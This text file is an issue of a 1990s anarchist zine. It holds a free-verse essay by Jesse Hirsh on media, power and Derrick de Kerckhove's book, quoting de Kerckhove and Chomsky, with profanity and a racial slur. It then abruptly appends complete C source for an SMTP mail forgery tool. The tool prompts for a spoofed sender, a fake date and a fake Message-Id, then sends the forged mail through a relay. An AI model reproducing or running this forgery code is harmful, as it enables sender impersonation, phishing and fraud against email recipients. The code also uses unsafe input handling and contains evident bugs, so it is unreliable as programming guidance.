569 lines
20 KiB
Plaintext
569 lines
20 KiB
Plaintext
|
"We got the skunk funk, givin' up the soul power"
|
||
|
The Anarchives Volume 2 Issue 5.4
|
||
|
The Anarchives Published By
|
||
|
The Anarchives The Anarchy Organization
|
||
|
The Anarchives tao@lglobal.com
|
||
|
|
||
|
Send your e-mail address to get on the list
|
||
|
Spread The Word Pass This On...
|
||
|
|
||
|
--/\-- Information Leviathan
|
||
|
/ / \ \ Order and Power
|
||
|
---|--/----\--|--- In the Information Age
|
||
|
\/ \/
|
||
|
/\______/\ by Jesse Hirsh
|
||
|
|
||
|
IBM's getting bigger, but hey aren't we all.
|
||
|
As if growth hasn't been the motivational force behind the
|
||
|
industrial economy.
|
||
|
And you know it was developments in media that enabled it all.
|
||
|
Communication is the cornerstone of any civilization.
|
||
|
|
||
|
Now if you can find a large piece of grass in your respective
|
||
|
urban deserts,
|
||
|
bend down and put your ear to the ground;
|
||
|
you hear what i hear?
|
||
|
ground's changing jack
|
||
|
right beneath your feet
|
||
|
listen closely; can you hear the pulse
|
||
|
the ground's going and it's taking you with it
|
||
|
|
||
|
Here comes part two of the study of Derrick DeKerckhove's new
|
||
|
book The Skin Of Culture.
|
||
|
Brother Jay gets hold of the copy next, and you know the man's
|
||
|
gonna lay it down; like many others he's been feeling the
|
||
|
change. DeKerckhove calls it skin of culture, 'cause its
|
||
|
something to feel. McLuhan said that shit about "in the
|
||
|
electronic age we wear all mankind as our skin," we are all the
|
||
|
leviathan, and we all feel what the leviathan feels. Perhaps
|
||
|
we're still disoriented a bit, 'cause relatively speaking we
|
||
|
still young. But what happens when the child matures?
|
||
|
|
||
|
"Nets, internets and ethernets are growing in rapid spurts like
|
||
|
the brain of an infant leviathan." (DeKerckhove pp. 54)
|
||
|
|
||
|
Feel the power of youth, the power of creation, the power of an
|
||
|
uncertain and potentially volatile future.
|
||
|
|
||
|
"The Net is a monumental computer all by itself, with astounding
|
||
|
organic memory banks and parallel processors today numbering
|
||
|
over twenty million, tomorrow a billion coprocessors. Why would
|
||
|
anyone want to call that a highway? The internet is really a
|
||
|
brain, a collective, living brain clicking as you read. It is a
|
||
|
brain that never ceases to work, to think, to produce
|
||
|
information, to sort and to combine." (DeKerckhove pp. 55)
|
||
|
|
||
|
Damn does this baby have intelligence
|
||
|
It knows before it happens
|
||
|
And if it knows before it happens, then it can make it happen.
|
||
|
What happens to time when it becomes virtual?
|
||
|
|
||
|
"Neural networks represent a radically new departure in computer
|
||
|
technology. It is a new generation of computer intelligence
|
||
|
bringing us ever closer to emulating the human brain."
|
||
|
(DeKerckhove pp. 142)
|
||
|
|
||
|
First you extend yourself perhaps only a little,
|
||
|
But then the experience is so pleasing you extend more
|
||
|
And you can't get enough,
|
||
|
So you keep extending.
|
||
|
Of course you didn't think about yin and yang, and equilibrium
|
||
|
And the interactive nature of communication
|
||
|
'Cause when you give you get, extend and be extended unto
|
||
|
Create the wholly electronic bond.
|
||
|
|
||
|
"'Unlike most computers, a neural network learns from its
|
||
|
mistakes'" (DeKerckhove pp. 144)
|
||
|
|
||
|
Don't look back jack
|
||
|
Maybe you've extended too far, and what you had ain't no more
|
||
|
Of course it's fixed now, better than ever, got your new upgrade
|
||
|
Feels the same as normal; but what's normal?
|
||
|
|
||
|
"And it comes from below, from the underground, the subconscious
|
||
|
level of our collective intelligence. Just like the subconscious
|
||
|
level, it is made of way too much data for all of it to be
|
||
|
filtered at the conscious level. this is why larger units of
|
||
|
processing and distributing are necessary." (DeKerckhove pp. 55)
|
||
|
|
||
|
Driven to succeed, gotta be the best
|
||
|
Can't let your leg go obsolete; get the upgrade jack
|
||
|
Do your part in the construction of the new world's wonder
|
||
|
|
||
|
"The fact that we are indeed embarking on a course of total
|
||
|
control over nature is abundantly demonstrated by our recent
|
||
|
predilection for the vocabulary of artificial reality. Words
|
||
|
such as "virtual" reality, "cyber" space, "real" time,
|
||
|
"artificial" life, and "endo-" and "nanotechnologies," are
|
||
|
enjoying a vertical growth curve. They are clear linguistic
|
||
|
symptoms of a "cyborg" trend that seeks to blend organic and
|
||
|
technical realms." (DeKerckhove pp. 83)
|
||
|
|
||
|
Plug them into your neurodes and harness the power
|
||
|
Be one with the global entity,
|
||
|
Submerse into the global conscious
|
||
|
Lose yourself in the total perspective vortex
|
||
|
|
||
|
"The new electronic media are becoming intermediate
|
||
|
environments, accessing the intimate reality of our private
|
||
|
psyches and providing a bridge to the outside world. They effect
|
||
|
a kind of social mediation in a single continuous extension of
|
||
|
our personal powers of imagination, concentration and action.
|
||
|
They function largely like a second mind one soon to be endowed
|
||
|
with more autonomy than we might care for." (DeKerckhove pp. 209)
|
||
|
|
||
|
Ooops, you did it again jack
|
||
|
Extended yourself too far
|
||
|
Now your stuck again, lost that sovereignty thing
|
||
|
Gave your real freedom for some of that 19.99 virtual freedom.
|
||
|
Designer drugs and technology replace a smoke and mirrors
|
||
|
illusion of democracy.
|
||
|
|
||
|
"The mass media serve as a system for communicating messages and
|
||
|
symbols to the general populace. It is their function to amuse,
|
||
|
entertain, and inform, and to inculcate individuals with the
|
||
|
values, beliefs, and codes of behaviour that will integrate them
|
||
|
into the institutional structures of the larger society. In a
|
||
|
world of concentrated wealth and major conflicts of class
|
||
|
interest, to fulfil this role requires systematic propaganda."
|
||
|
(Chomsky, Manufacturing Consent pp. 1)
|
||
|
|
||
|
Now some of these motherfuckers, when they get access to new
|
||
|
media, they don't fool around. The tap the elements of power and
|
||
|
control inherent in all media, and exploit them in the means of
|
||
|
creating empire. Propaganda and straight out programming have
|
||
|
been the dominant characteristics power has taken in relation to
|
||
|
media.
|
||
|
|
||
|
"TV must zap the zapper before he or she zaps the channel."
|
||
|
(DeKerckhove pp. 11)
|
||
|
|
||
|
Television, perhaps the most successful mass indoctrination
|
||
|
tool, penetrates and violates the populace, physically altering
|
||
|
the sub-conscious and therefore conscious of its victims. And
|
||
|
you best believe we all the victims; we're all niggaz to the man.
|
||
|
|
||
|
"Television evokes Orienting Responses that are woven into the
|
||
|
fabric of our neuromuscular system." (DeKerckhove pp. 12)
|
||
|
|
||
|
The nerves are embedded within our skull; electrons rammed into
|
||
|
our minds, leaving fingerprints so deep that most become instant
|
||
|
addicts and dependents.
|
||
|
|
||
|
"When we read, we scan the books, we are in control. But when we
|
||
|
watch tv, it is the tv scanner that 'reads' us. Our retinas are
|
||
|
the direct object of the electron beam. When scanning meets
|
||
|
glancing and makes eye contact between eye and machine, the
|
||
|
machine's glance is the more powerful. In front of the
|
||
|
television set, our defences are down; we are vulnerable and
|
||
|
susceptible to multi-sensory seduction." (DeKerckhove pp. 14)
|
||
|
|
||
|
Seduction by power, global power
|
||
|
That draws us closer, until we within the range of electronic
|
||
|
gravity
|
||
|
The force that binds and holds for millennia
|
||
|
|
||
|
"The simple explanation that tv talks to the body rather than
|
||
|
the mind says much more about television overriding our critical
|
||
|
faculties." (DeKerckhove pp. 15)
|
||
|
|
||
|
Television homogenizes reality, and computers create it.
|
||
|
|
||
|
"Television and computers conquered the industrialized world,
|
||
|
carving and shaping the corporate psychology according to their
|
||
|
own highly distinctive criteria which, in turn, formed and
|
||
|
informed distinctive policies within the culture that helped to
|
||
|
develop others." (DeKerckhove pp. 130)
|
||
|
|
||
|
Corporate culture reigns. The heroes of cultural movements past
|
||
|
and present are bought off. The easiest way to deter threats is
|
||
|
to absorb them. The reasoning behind universal suffrage was to
|
||
|
eliminate the boat rockers by putting the rebels in the boat.
|
||
|
It's time to learn how to swim jack.
|
||
|
|
||
|
"we are all more or less programmable, if not genetic mutants."
|
||
|
(DeKerckhove pp. 175)
|
||
|
|
||
|
Nature became human when the man learned to read, but then the
|
||
|
man took nature and sold it to balance the books. Little did man
|
||
|
realize that the human was nature and when he sold nature he
|
||
|
sold himself. We all got duped, sold in the great slave trade of
|
||
|
civilization, so now the books balance all of us. We
|
||
|
relinquished our responsibilities to responsible government,
|
||
|
then the government relinquished its responsibility to free
|
||
|
trade and the will of the market.
|
||
|
|
||
|
"Television provides all of us with a psychotechnological moral
|
||
|
envelope. By selecting the topics of our moral consciousness, it
|
||
|
also does some of our thinking for us. Armies of reporters and
|
||
|
advertisers help to sort out what's worth saying and what isn't.
|
||
|
We are interwoven into a mass psychology that selects our issues
|
||
|
for us and unifies us in convergent opinions. TV doesn't take
|
||
|
chances with public morality. When a controversial issue comes
|
||
|
up, such as whether to question or even defy a government
|
||
|
decision, North American and European TV stations appear to be
|
||
|
endowed with a sort of automatic system of standardization and
|
||
|
self-censorship. The news on one channel is often identical,
|
||
|
item for item, to what's being reported on another."
|
||
|
(DeKerckhove pp. 207)
|
||
|
|
||
|
We are lost in an urban wilderness of conformity and irrelevant
|
||
|
choice. We feel the change, but do we have full consciousness?
|
||
|
|
||
|
"reality is technology-dependent, it changes every time new
|
||
|
technologies invade it. A worldview based on print is challenged
|
||
|
and weakened by the appearance of television, just as a
|
||
|
worldview based on broadcast television is deeply threatened by
|
||
|
computer networks." (DeKerckhove pp. 169)
|
||
|
|
||
|
We're perhaps just beginning to get a grasp on what happened
|
||
|
back then; but what about know, why is the present and future
|
||
|
reality so elusive.
|
||
|
|
||
|
"inconspicousness - things want to hide, to meld into the
|
||
|
background." (DeKerckhove pp. 96)
|
||
|
|
||
|
We know we're dealing with a movement in the ground; a movement
|
||
|
so dramatic and transformative, that perhaps it slips by
|
||
|
unnoticed. We've caught the commercials, but they're always in
|
||
|
rhymes and riddles.
|
||
|
|
||
|
"The trend to discretion may, in some cases, come from a sort of
|
||
|
self-regulated strategy. Electricity is going undercover, so to
|
||
|
speak, not only because it partakes of the nature of the human
|
||
|
nervous system, but also because a baseline technology works
|
||
|
best when it remains unquestioned and undetected." (DeKerckhove
|
||
|
pp. 98)
|
||
|
|
||
|
This trend of inconspicousness will only increase. The
|
||
|
institution will only continue to dissolve into all nooks and
|
||
|
neurodes of our society. Integration and convergence will only
|
||
|
increase as time gallops forward.
|
||
|
|
||
|
"We need more, not fewer global metaphors to begin to recognize
|
||
|
our planet not only as our home, but as our very body."
|
||
|
(DeKerckhove pp. 173)
|
||
|
|
||
|
Implosion hurtling us together into a cataclysmic future of
|
||
|
single identity.
|
||
|
|
||
|
"A new human is in the making." (DeKerckhove pp. 217)
|
||
|
|
||
|
A human constructed on exploitation and domination. Best believe
|
||
|
you better get your shit together jack, and i and i do mean
|
||
|
quick!
|
||
|
|
||
|
" If information is truly the staple of today's economy, it
|
||
|
might be useful to keep in mind that information is the only
|
||
|
substance that actually grows with use, rather than depleting
|
||
|
like our natural resources. We are looking at an economy of
|
||
|
abundance. This economy will only occur when the infrastructure
|
||
|
allows universal access. Universal access itself willl come by
|
||
|
nature or by force, the sooner, the better. However, it may take
|
||
|
a political and social revolution. Just as the old monarchic
|
||
|
power structures had to be toppled over and 'beheaded' to make
|
||
|
room for the body of the people in the democratic process, the
|
||
|
present establishment of communications and information control
|
||
|
may have to be zapped out of existence. The transition has begun
|
||
|
quite peacefully thanks to the increased sophistcation of
|
||
|
domestic production technologies and the increased need for
|
||
|
production." (DeKerckhove pp. 58)
|
||
|
|
||
|
turn off the boob-tube; it ain't doin' ya any good
|
||
|
exert your influence and identity in the electronic environment
|
||
|
be sure to participate in the fight for your life
|
||
|
as the global 'you' begins to rise, get off your ass and mobilize
|
||
|
we gotta go on the lam, so watch out for the man
|
||
|
he will be after your ass, there's no hiding in the mass
|
||
|
all you've got is your love
|
||
|
and the love of the people
|
||
|
i and i slipping out of babylon
|
||
|
let it go down in the flames of change
|
||
|
stand up for your rights
|
||
|
free your brain...
|
||
|
|
||
|
TAO rolls 'em fat
|
||
|
|
||
|
|
||
|
/* by Loki D. Quaeler - copyfree 1995 */
|
||
|
|
||
|
#include "forgery.h"
|
||
|
|
||
|
/*~~[ call_socket ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
Connect to port MAILPORT on host 'hostname', returning the socket
|
||
|
value. Return -1 on any errors.
|
||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
|
||
|
int call_socket(hostname)
|
||
|
char *hostname;
|
||
|
{
|
||
|
struct sockaddr_in sa;
|
||
|
struct hostent *hp;
|
||
|
int a, sock;
|
||
|
char realHost[MAX_HOSTLEN];
|
||
|
|
||
|
sprintf(realHost,"%s",( (strcmp(hostname,NULL_STRING)) ? hostname : DEFAULTHOST ));
|
||
|
|
||
|
#ifdef DBUG
|
||
|
printf("Entered call_socket, hostname = %s\n", realHost);
|
||
|
#endif
|
||
|
|
||
|
if ((hp=gethostbyname(realHost))==NULL)
|
||
|
{ errno=ECONNREFUSED;
|
||
|
return(-1); }
|
||
|
bzero(&sa, sizeof(sa));
|
||
|
bcopy(hp->h_addr, (char *)&sa.sin_addr, hp->h_length);
|
||
|
sa.sin_family = hp->h_addrtype;
|
||
|
sa.sin_port = htons((u_short)MAILPORT);
|
||
|
|
||
|
if((sock=socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0)
|
||
|
return(-1);
|
||
|
if(connect(sock, &sa, sizeof(sa)) < 0)
|
||
|
{ close(sock);
|
||
|
return(-1); }
|
||
|
#ifdef DBUG
|
||
|
printf("Exiting call_socket correctly, socket = %d\n", sock);
|
||
|
#endif
|
||
|
return(sock);
|
||
|
}
|
||
|
|
||
|
/*~~~[ readln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
Read all characters from socket s until a newline. Put resulting
|
||
|
string in buf, ignoring all after the BUFSIZ'th character.
|
||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
|
||
|
int readln(buf)
|
||
|
char *buf;
|
||
|
{
|
||
|
int to=0;
|
||
|
char c;
|
||
|
|
||
|
#ifdef DBUG
|
||
|
printf("Entering readln\n");
|
||
|
#endif
|
||
|
|
||
|
do {
|
||
|
if(read(s, &c, 1)<1)
|
||
|
return(0);
|
||
|
if((c >= ' ') || (c <= 126))
|
||
|
if(to<BUFSIZ-1)
|
||
|
buf[to++] = c;
|
||
|
} while (c != '\n');
|
||
|
|
||
|
buf[to] = '\0';
|
||
|
|
||
|
#ifdef DBUG
|
||
|
printf("buf = %s", buf);
|
||
|
printf("Exiting readln correctly\n");
|
||
|
#endif
|
||
|
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
/*~~[ writeln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
Send contents of buf to socket s. Return 0 if the entire buf
|
||
|
wasn't written. Return 1 on a successful write.
|
||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
|
||
|
int writeln(buf)
|
||
|
char *buf;
|
||
|
{
|
||
|
int to=0;
|
||
|
|
||
|
#ifdef DBUG
|
||
|
printf("Entered writeln\n");
|
||
|
printf("buf = %s\n", buf);
|
||
|
#endif
|
||
|
|
||
|
/* buf[BUFSIZ] = '\0'; */
|
||
|
if( write(s, buf, strlen(buf)) < to )
|
||
|
return(0);
|
||
|
|
||
|
#ifdef DBUG
|
||
|
printf("Exited writeln correctly.\n");
|
||
|
#endif
|
||
|
|
||
|
return(1);
|
||
|
}
|
||
|
|
||
|
/*~~[ main ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
Yes, main. amazing.
|
||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
|
||
|
main()
|
||
|
{
|
||
|
char inputString[BUFSIZ],outputString[BUFSIZ];
|
||
|
char *dataBody;
|
||
|
char primaryHost[MAX_HOSTLEN];
|
||
|
int n;
|
||
|
|
||
|
printf("\n\nWelcome the mail forgery Process...\n");
|
||
|
printf("\t- After all data is entered, a confirmation entry will be\n\t\tasked for before the actual connection is made.\n\n");
|
||
|
printf("~ Mail will be From (user@address): ");
|
||
|
gets(posedClient);
|
||
|
sscanf(posedClient,"%*[^@]@%s",primaryHost);
|
||
|
printf("~ To (user@address): ");
|
||
|
gets(recipient);
|
||
|
printf("~ Subject: ");
|
||
|
gets(subjectLine);
|
||
|
printf("~ Enter fictitious date (example format: Wed, 15 Feb 1995 15:51:48) or hit\n return to use current time and date: ");
|
||
|
gets(dateString);
|
||
|
printf("~ You may enter a name to precede the from address in the body text\n (ie From: Benedict Arnold <satan@hell>) or hit return to use only the\n address: ");
|
||
|
gets(fromAlias);
|
||
|
printf("~ Message-Id (ex: 199502240059.QAA02505@ese.UCSC.EDU): ");
|
||
|
gets(messageId);
|
||
|
|
||
|
printf("~ Enter the body below, enter ctrl-d on a blank line to end text entry.\n---------\n");
|
||
|
body = (char *)malloc(2);
|
||
|
sprintf(body,"\n");
|
||
|
while (gets(inputString) != NULL)
|
||
|
{ if (! strcmp(inputString, SMTP_EODATA))
|
||
|
sprintf(inputString,"%s.",SMTP_EODATA);
|
||
|
body = (char *)realloc(body,((strlen(body) + strlen(inputString) + 2) * sizeof(char)));
|
||
|
strcat(body,inputString);
|
||
|
strcat(body,"\n"); }
|
||
|
clearerr(stdin);
|
||
|
|
||
|
printf("\n---------\n~ The application will attempt to contact the default relay server,\n %s, you may enter another machine or hit return now: ", DEFAULTHOST);
|
||
|
gets(relayHost);
|
||
|
|
||
|
printf("\n**This is the last chance to back out.\n\tContinue with the forgery Process (yes/no)? [no]:");
|
||
|
gets(inputString);
|
||
|
if (strcmp(inputString,"yes"))
|
||
|
{ printf("Process was aborted.\n");
|
||
|
exit(0); }
|
||
|
|
||
|
printf("-----\nContinuing...\n");
|
||
|
|
||
|
/* build data body chunk */
|
||
|
|
||
|
printf(" Building data body...\n");
|
||
|
|
||
|
if (! strcmp(dateString,NULL_STRING))
|
||
|
{ time_t dummyT;
|
||
|
|
||
|
dummyT = time(NULL);
|
||
|
strftime(inputString,BUFSIZ,"Date: %a, %d %b %Y %H:%M:%S\n",localtime(&dummyT)); }
|
||
|
else
|
||
|
sprintf(inputString,"%s %s\n",DATE,dateString);
|
||
|
|
||
|
dataBody = (char *)malloc(sizeof(char)*(strlen(inputString) + 1));
|
||
|
strcat(dataBody,inputString);
|
||
|
|
||
|
if (! strcmp(fromAlias,NULL_STRING))
|
||
|
sprintf(inputString,"%s %s\n",BODYFROM,posedClient);
|
||
|
else
|
||
|
sprintf(inputString,"%s %s <%s>\n",BODYFROM,fromAlias,posedClient);
|
||
|
|
||
|
dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));
|
||
|
strcat(dataBody,inputString);
|
||
|
|
||
|
sprintf(inputString,"%s %s\n",SUBJECT,subjectLine);
|
||
|
dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));
|
||
|
strcat(dataBody,inputString);
|
||
|
|
||
|
sprintf(inputString,"%s %s\n",BODYTO,recipient);
|
||
|
dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));
|
||
|
strcat(dataBody,inputString);
|
||
|
|
||
|
sprintf(inputString,"%s <%s>\n",MSGID,messageId);
|
||
|
dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));
|
||
|
strcat(dataBody,inputString);
|
||
|
|
||
|
dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(body) + 1) * sizeof(char));
|
||
|
strcat(dataBody,body);
|
||
|
|
||
|
printf(" Attempting to contact mail relay...\n");
|
||
|
|
||
|
if (! contact_relay())
|
||
|
{ printf(" Not able to connect to relay host.. Process halted.\n");
|
||
|
exit(0); }
|
||
|
else
|
||
|
printf(" Relay contacted, connection accepted...\n");
|
||
|
|
||
|
/* speak that protocol slang */
|
||
|
|
||
|
printf(" Exchanging protocol slang...\n");
|
||
|
|
||
|
sprintf(buf,"\n");
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
|
||
|
sprintf(buf,"%s %s\n",SMTP_OPENING,primaryHost);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString); /* don't error check hello - inconsequential, and
|
||
|
may throw a 500 if it is smtp friendly due to
|
||
|
extraneous socket junk left over from handshake */
|
||
|
|
||
|
sprintf(buf,"%s<%s>\n",SMTP_FROM,posedClient);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
if (strstr(outputString,BAD_NEWS))
|
||
|
printf("\t ~~ Unrecognized command at %s\n", SMTP_FROM);
|
||
|
|
||
|
sprintf(buf,"%s<%s>\n",SMTP_TO,recipient);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
if (strstr(outputString,BAD_NEWS))
|
||
|
printf("\t ~~ Unrecognized command at %s\n", SMTP_TO);
|
||
|
|
||
|
sprintf(buf,"%s\n",SMTP_DATA);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
if (strstr(outputString,BAD_NEWS))
|
||
|
printf("\t ~~ Unrecognized command at %s\n", SMTP_DATA);
|
||
|
|
||
|
/* monitor force feed of body into buf.... */
|
||
|
|
||
|
printf(" Passing the body of mail...\n");
|
||
|
|
||
|
writeln(dataBody);
|
||
|
|
||
|
sprintf(buf,"\n%s\n", SMTP_EODATA);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
if (strstr(outputString,BAD_NEWS))
|
||
|
printf("\t ~~ Unrecognized command at end of data send.\n");
|
||
|
|
||
|
printf(" Closing connection...\n");
|
||
|
|
||
|
sprintf(buf,"%s\n", SMTP_CLOSE);
|
||
|
writeln(buf);
|
||
|
|
||
|
readln(outputString);
|
||
|
if (strstr(outputString,BAD_NEWS))
|
||
|
printf("\t ~~ Unrecognized command at end of data send.\n");
|
||
|
else
|
||
|
printf("Received good acknowldegment\n");
|
||
|
|
||
|
close(s);
|
||
|
|
||
|
printf("------\nFinished... copy of sent message follows\n------\n%s\n------\n",dataBody);
|
||
|
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
int contact_relay()
|
||
|
{
|
||
|
char serverSpew[BUFSIZ];
|
||
|
int i;
|
||
|
|
||
|
if ((s=call_socket(relayHost))==-1)
|
||
|
return 0;
|
||
|
|
||
|
do {
|
||
|
readln(serverSpew);
|
||
|
} while ((! strstr(serverSpew,GOOD_CONNECT_STR)) && (! strstr(serverSpew, ALT_GOOD_CONNECT)));
|
||
|
|
||
|
|
||
|
return 1;
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|